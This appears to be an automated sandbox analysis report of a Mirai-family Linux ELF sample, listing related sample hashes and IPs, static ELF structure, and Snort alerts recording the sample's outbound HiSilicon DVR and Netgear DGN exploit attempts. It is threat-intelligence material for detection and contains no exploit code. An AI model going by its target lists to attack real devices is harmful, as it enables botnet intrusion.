	muAZlKU0hq.elf	Get hash	malicious	Mirai	Browse	114.16.229.66
	M88FIQFvyo.elf	Get hash	malicious	Mirai	Browse	59.131.181.52
	1pvn30a8IT.elf	Get hash	malicious	Mirai	Browse	106.130.91.12
USCC-ASNUS	xDqMW4J6W3.elf	Get hash	malicious	Unknown	Browse	166.228.218.34
	ZrNKORUSI5.elf	Get hash	malicious	Mirai	Browse	166.221.229.212
	TvB0i1SBvy.elf	Get hash	malicious	Mirai	Browse	166.234.17.222
	g6W1NW8Q8t.elf	Get hash	malicious	Unknown	Browse	166.232.102.240
	iH18gdEj8Y.elf	Get hash	malicious	Mirai	Browse	166.232.149.255
	BDKCT1AKZj.elf	Get hash	malicious	Mirai	Browse	166.223.138.91
	xZVrVleW5W.elf	Get hash	malicious	Mirai, Moobot	Browse	166.232.179.107
	U3I6H7kfcz.elf	Get hash	malicious	Mirai, Moobot	Browse	166.240.32.234
	yx3S8wYEkK.elf	Get hash	malicious	Mirai, Gafgyt	Browse	166.223.193.129
	IOJ2p855ND.elf	Get hash	malicious	Mirai, Gafgyt	Browse	166.223.193.133
CLAROSABR	CGemi3cruu.elf	Get hash	malicious	Mirai	Browse	191.245.222.231
	p8OI6WMicj.elf	Get hash	malicious	Mirai	Browse	179.223.85.191
	mu6QZ83f8M.elf	Get hash	malicious	Mirai	Browse	179.241.142.5
	2WCeeBqjrr.elf	Get hash	malicious	Mirai	Browse	200.227.5.57
	16blfU3HlS.elf	Get hash	malicious	Mirai	Browse	179.220.114.158
	YCrL9vbZ3g.elf	Get hash	malicious	Mirai	Browse	201.82.33.124
	fr1iFcTPUY.elf	Get hash	malicious	Mirai	Browse	189.23.38.41
	muAZlKU0hq.elf	Get hash	malicious	Mirai	Browse	191.186.23.231
	VxrYNgC0xs.elf	Get hash	malicious	Mirai	Browse	187.66.92.84
	1ydkC50QfI.elf	Get hash	malicious	Mirai	Browse	187.65.55.178
T-MOBILE-AS21928US	CGemi3cruu.elf	Get hash	malicious	Mirai	Browse	172.32.208.200
	p8OI6WMicj.elf	Get hash	malicious	Mirai	Browse	100.169.93.125
	bnJSH0V4Je.elf	Get hash	malicious	Mirai	Browse	100.152.103.58
	2WCeeBqjrr.elf	Get hash	malicious	Mirai	Browse	100.152.36.186
	16blfU3HlS.elf	Get hash	malicious	Mirai	Browse	100.136.79.116
	fKfXkNYfLY.elf	Get hash	malicious	Mirai	Browse	100.153.205.119
	YCrL9vbZ3g.elf	Get hash	malicious	Mirai	Browse	100.169.169.192
	muAZlKU0hq.elf	Get hash	malicious	Mirai	Browse	162.179.7.39
	M88FIQFvyo.elf	Get hash	malicious	Mirai	Browse	100.207.104.242
	1pvn30a8IT.elf	Get hash	malicious	Mirai	Browse	100.167.253.55

Process:	/tmp/7ALXuklmvu.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:D:D
MD5:	C5C64C10CFD77B16A03AA81F09499F25
SHA1:	04F3798A233608D849F2F406B42FB31E71F99340
SHA-256:	F91F00516F6B9A94189AFFFBB649868BF5F25B2351444CC308527263315458E1
SHA-512:	E7340ADA2EF1C26F0D78ACF401FBBEACC5A52B48BCE200647CBCFE3A5CD3A84F1AE45EA003E28C61D8998814B199818FD8D1811B1D2823F59DDF7FEC96C1EE3A
Malicious:	false
Reputation:	low
Preview:	6235

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.678464982243317
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	7ALXuklmvu.elf
File size:	80'960 bytes
MD5:	b930a99e739013a19a24b1c3ad22d96d
SHA1:	4d441ac0b95b13a6828d59e0ee12cd8efacba6d8
SHA256:	269c9d6b7a3b95f4a20d58994fe60368e096992c0d7cfb96d7f8dc92b2effe43
SHA512:	f728f96b8bf8d667e25902b433f3dbda3df0756c2cb9030398315499503b6cb3bc56b44663ea52226004ec110d94bc4101c7c3e0e2326fa30bfc1bbb6079fec7
SSDEEP:	1536:pjVxLT+eZ47Nzap48jgIsBOpVMNDvvcy+opgc7OUOmAOv90ZHe:pjv5cNzap+OLMhvcvKgcCve
TLSH:	CE837D87E283EAB5E95589711067EF71D975E6263086DF02E3A8DF39E832107D613B0C
File Content Preview:	.ELF....................d...4....:......4. ...(......................3...3...............3...............B..........Q.td............................U..S........B...h....3...[]...$.............U......=@....t..5...................u........t....h............

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	80520
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xf356	0x0	0x6	AX	16
.fini	PROGBITS	0x8057406	0xf406	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8057420	0xf420	0x3f60	0x0	0x2	A	32
.eh_frame	PROGBITS	0x805b380	0x13380	0x4	0x0	0x2	A	4
.ctors	PROGBITS	0x805c384	0x13384	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805c38c	0x1338c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x805c3c0	0x133c0	0x680	0x0	0x3	WA	32
.bss	NOBITS	0x805ca40	0x13a40	0x3c04	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x13a40	0x48	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x13384	0x13384	6.7044	0x5	R E	0x1000	.init .text .fini .rodata .eh_frame
LOAD	0x13384	0x805c384	0x805c384	0x6bc	0x42c0	4.8472	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/16/24-16:39:05.500410	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	43658	80	192.168.2.23	82.88.139.252
05/16/24-16:38:57.429334	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54042	9530	192.168.2.23	77.221.11.129
05/16/24-16:38:57.429334	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54042	9530	192.168.2.23	77.221.11.129
05/16/24-16:38:55.226345	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58016	9530	192.168.2.23	220.123.250.170
05/16/24-16:39:08.149395	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35534	9530	192.168.2.23	4.50.112.184
05/16/24-16:38:55.226345	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58016	9530	192.168.2.23	220.123.250.170
05/16/24-16:39:12.382814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59314	9530	192.168.2.23	115.60.149.4
05/16/24-16:39:12.382814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59314	9530	192.168.2.23	115.60.149.4
05/16/24-16:39:02.767816	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51662	9530	192.168.2.23	89.13.119.86
05/16/24-16:39:12.400590	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47168	9530	192.168.2.23	219.197.118.114
05/16/24-16:39:02.767816	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51662	9530	192.168.2.23	89.13.119.86
05/16/24-16:39:12.400590	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47168	9530	192.168.2.23	219.197.118.114
05/16/24-16:39:01.475837	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	58292	80	192.168.2.23	28.192.76.236
05/16/24-16:39:14.491153	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39264	9530	192.168.2.23	72.73.79.151
05/16/24-16:39:14.491153	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39264	9530	192.168.2.23	72.73.79.151
05/16/24-16:38:53.062204	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52626	9530	192.168.2.23	211.98.222.85
05/16/24-16:38:53.062204	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52626	9530	192.168.2.23	211.98.222.85
05/16/24-16:38:53.011360	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57182	9530	192.168.2.23	218.166.150.2
05/16/24-16:38:57.451872	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43312	9530	192.168.2.23	4.57.50.244
05/16/24-16:38:53.011360	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57182	9530	192.168.2.23	218.166.150.2
05/16/24-16:39:08.149395	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35534	9530	192.168.2.23	4.50.112.184
05/16/24-16:38:53.011285	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43748	9530	192.168.2.23	138.91.249.106
05/16/24-16:38:53.011285	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43748	9530	192.168.2.23	138.91.249.106
05/16/24-16:39:08.041923	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47258	9530	192.168.2.23	180.160.8.175
05/16/24-16:39:08.041923	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47258	9530	192.168.2.23	180.160.8.175
05/16/24-16:39:16.604784	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46040	9530	192.168.2.23	145.131.77.254
05/16/24-16:38:53.071305	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47442	9530	192.168.2.23	5.24.145.77
05/16/24-16:38:53.071305	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47442	9530	192.168.2.23	5.24.145.77
05/16/24-16:39:03.260047	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60228	9530	192.168.2.23	221.108.6.75
05/16/24-16:39:03.260047	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60228	9530	192.168.2.23	221.108.6.75
05/16/24-16:38:53.066985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37860	9530	192.168.2.23	87.176.138.11
05/16/24-16:38:53.066985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37860	9530	192.168.2.23	87.176.138.11
05/16/24-16:39:08.136402	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54594	9530	192.168.2.23	116.11.178.135
05/16/24-16:39:14.507738	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38030	9530	192.168.2.23	95.234.79.61
05/16/24-16:39:14.507738	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38030	9530	192.168.2.23	95.234.79.61
05/16/24-16:39:13.662034	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	33188	80	192.168.2.23	37.208.175.64
05/16/24-16:39:16.603159	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45118	9530	192.168.2.23	169.160.164.130
05/16/24-16:39:08.136402	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54594	9530	192.168.2.23	116.11.178.135
05/16/24-16:39:16.603159	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45118	9530	192.168.2.23	169.160.164.130
05/16/24-16:38:53.099095	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55100	9530	192.168.2.23	221.143.145.21
05/16/24-16:38:53.099095	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55100	9530	192.168.2.23	221.143.145.21
05/16/24-16:39:02.766979	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33948	9530	192.168.2.23	207.166.135.92
05/16/24-16:39:02.766979	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33948	9530	192.168.2.23	207.166.135.92
05/16/24-16:39:16.604784	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46040	9530	192.168.2.23	145.131.77.254
05/16/24-16:39:16.581424	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34842	9530	192.168.2.23	190.45.146.233
05/16/24-16:39:16.581424	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34842	9530	192.168.2.23	190.45.146.233
05/16/24-16:38:59.519414	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41740	9530	192.168.2.23	157.122.165.236
05/16/24-16:38:59.519414	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41740	9530	192.168.2.23	157.122.165.236
05/16/24-16:39:05.694649	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33994	9530	192.168.2.23	205.73.221.146
05/16/24-16:39:05.694649	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33994	9530	192.168.2.23	205.73.221.146
05/16/24-16:39:16.605743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37820	9530	192.168.2.23	32.102.229.186
05/16/24-16:39:16.605743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37820	9530	192.168.2.23	32.102.229.186
05/16/24-16:39:08.126486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47076	9530	192.168.2.23	180.30.67.193
05/16/24-16:38:59.519360	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37618	9530	192.168.2.23	119.2.157.233
05/16/24-16:39:08.126486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47076	9530	192.168.2.23	180.30.67.193
05/16/24-16:38:59.519360	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37618	9530	192.168.2.23	119.2.157.233
05/16/24-16:39:14.493575	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54446	9530	192.168.2.23	181.121.250.71
05/16/24-16:39:14.493575	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54446	9530	192.168.2.23	181.121.250.71
05/16/24-16:38:57.407570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57648	9530	192.168.2.23	222.221.224.169
05/16/24-16:38:57.407570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57648	9530	192.168.2.23	222.221.224.169
05/16/24-16:39:16.598471	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38672	9530	192.168.2.23	12.191.238.61
05/16/24-16:39:16.598471	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38672	9530	192.168.2.23	12.191.238.61
05/16/24-16:39:05.676844	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38076	9530	192.168.2.23	186.216.208.123
05/16/24-16:38:53.094093	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58234	9530	192.168.2.23	216.45.106.54
05/16/24-16:39:05.676844	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38076	9530	192.168.2.23	186.216.208.123
05/16/24-16:39:08.041175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56288	9530	192.168.2.23	177.250.65.246
05/16/24-16:39:08.041175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56288	9530	192.168.2.23	177.250.65.246
05/16/24-16:38:50.053180	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45198	9530	192.168.2.23	114.199.191.65
05/16/24-16:38:50.053180	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45198	9530	192.168.2.23	114.199.191.65
05/16/24-16:38:53.094093	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57782	9530	192.168.2.23	25.82.87.68
05/16/24-16:38:53.094093	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57782	9530	192.168.2.23	25.82.87.68
05/16/24-16:38:55.207731	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40492	9530	192.168.2.23	220.49.142.251
05/16/24-16:38:55.207731	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40492	9530	192.168.2.23	220.49.142.251
05/16/24-16:39:16.580745	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60516	9530	192.168.2.23	70.32.94.134
05/16/24-16:39:16.580745	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60516	9530	192.168.2.23	70.32.94.134
05/16/24-16:38:53.011306	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50868	9530	192.168.2.23	181.16.206.159
05/16/24-16:38:53.011306	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50868	9530	192.168.2.23	181.16.206.159
05/16/24-16:38:55.177025	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58158	9530	192.168.2.23	62.91.87.126
05/16/24-16:39:12.407612	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50038	9530	192.168.2.23	207.210.27.246
05/16/24-16:38:55.177025	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58158	9530	192.168.2.23	62.91.87.126
05/16/24-16:39:12.407612	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50038	9530	192.168.2.23	207.210.27.246
05/16/24-16:39:05.675848	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35288	9530	192.168.2.23	223.12.185.109
05/16/24-16:39:08.124558	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36190	9530	192.168.2.23	218.85.8.154
05/16/24-16:39:08.124558	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36190	9530	192.168.2.23	218.85.8.154
05/16/24-16:39:05.675848	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35288	9530	192.168.2.23	223.12.185.109
05/16/24-16:38:55.206768	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33576	9530	192.168.2.23	39.71.182.226
05/16/24-16:39:02.767166	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53826	9530	192.168.2.23	203.39.30.104
05/16/24-16:39:08.124489	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52050	9530	192.168.2.23	49.61.88.186
05/16/24-16:38:55.206768	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33576	9530	192.168.2.23	39.71.182.226
05/16/24-16:39:02.767166	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53826	9530	192.168.2.23	203.39.30.104
05/16/24-16:39:08.124489	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52050	9530	192.168.2.23	49.61.88.186
05/16/24-16:39:03.264585	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38542	9530	192.168.2.23	41.46.153.75
05/16/24-16:39:03.264585	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38542	9530	192.168.2.23	41.46.153.75
05/16/24-16:39:14.491227	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42342	9530	192.168.2.23	211.33.251.141
05/16/24-16:39:14.491227	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42342	9530	192.168.2.23	211.33.251.141
05/16/24-16:38:57.409854	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58018	9530	192.168.2.23	77.196.19.137
05/16/24-16:38:57.409854	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58018	9530	192.168.2.23	77.196.19.137
05/16/24-16:39:08.127127	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47596	9530	192.168.2.23	85.115.130.19
05/16/24-16:39:08.127127	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47596	9530	192.168.2.23	85.115.130.19
05/16/24-16:39:12.403774	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59666	9530	192.168.2.23	8.59.213.168
05/16/24-16:39:03.280095	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41470	9530	192.168.2.23	178.68.177.102
05/16/24-16:39:12.403774	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59666	9530	192.168.2.23	8.59.213.168
05/16/24-16:39:03.280095	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41470	9530	192.168.2.23	178.68.177.102
05/16/24-16:39:08.127939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55328	9530	192.168.2.23	83.209.5.96
05/16/24-16:39:08.127939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55328	9530	192.168.2.23	83.209.5.96
05/16/24-16:39:02.726986	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33840	9530	192.168.2.23	202.251.82.77
05/16/24-16:39:02.726986	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33840	9530	192.168.2.23	202.251.82.77
05/16/24-16:39:12.383715	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34642	9530	192.168.2.23	92.178.213.12
05/16/24-16:39:12.383715	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34642	9530	192.168.2.23	92.178.213.12
05/16/24-16:39:16.603454	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46852	9530	192.168.2.23	74.245.253.159
05/16/24-16:39:12.403696	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53556	9530	192.168.2.23	200.100.118.45
05/16/24-16:39:12.403696	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53556	9530	192.168.2.23	200.100.118.45
05/16/24-16:39:16.603454	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46852	9530	192.168.2.23	74.245.253.159
05/16/24-16:38:50.052092	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54326	9530	192.168.2.23	104.176.87.89
05/16/24-16:38:50.052092	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54326	9530	192.168.2.23	104.176.87.89
05/16/24-16:39:08.035621	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46832	9530	192.168.2.23	198.121.120.25
05/16/24-16:39:08.035621	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46832	9530	192.168.2.23	198.121.120.25
05/16/24-16:39:14.509931	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60660	9530	192.168.2.23	204.75.96.74
05/16/24-16:39:14.509931	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60660	9530	192.168.2.23	204.75.96.74
05/16/24-16:39:05.702420	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46224	9530	192.168.2.23	178.77.45.147
05/16/24-16:39:05.702420	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46224	9530	192.168.2.23	178.77.45.147
05/16/24-16:39:14.494706	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52166	9530	192.168.2.23	84.138.183.124
05/16/24-16:39:14.494706	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52166	9530	192.168.2.23	84.138.183.124
05/16/24-16:38:55.225130	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56956	9530	192.168.2.23	84.116.38.246
05/16/24-16:39:08.041913	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54294	9530	192.168.2.23	223.147.73.206
05/16/24-16:39:08.041913	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54294	9530	192.168.2.23	223.147.73.206
05/16/24-16:39:12.384487	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51898	9530	192.168.2.23	152.144.0.149
05/16/24-16:38:59.518392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41344	9530	192.168.2.23	61.76.227.154
05/16/24-16:38:59.518392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41344	9530	192.168.2.23	61.76.227.154
05/16/24-16:39:12.384487	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51898	9530	192.168.2.23	152.144.0.149
05/16/24-16:39:02.748278	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59878	9530	192.168.2.23	82.40.71.95
05/16/24-16:39:02.748278	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59878	9530	192.168.2.23	82.40.71.95
05/16/24-16:38:55.225130	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56956	9530	192.168.2.23	84.116.38.246
05/16/24-16:39:08.125231	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59128	9530	192.168.2.23	1.159.119.46
05/16/24-16:39:08.125231	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59128	9530	192.168.2.23	1.159.119.46
05/16/24-16:38:53.011282	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50094	9530	192.168.2.23	32.242.248.65
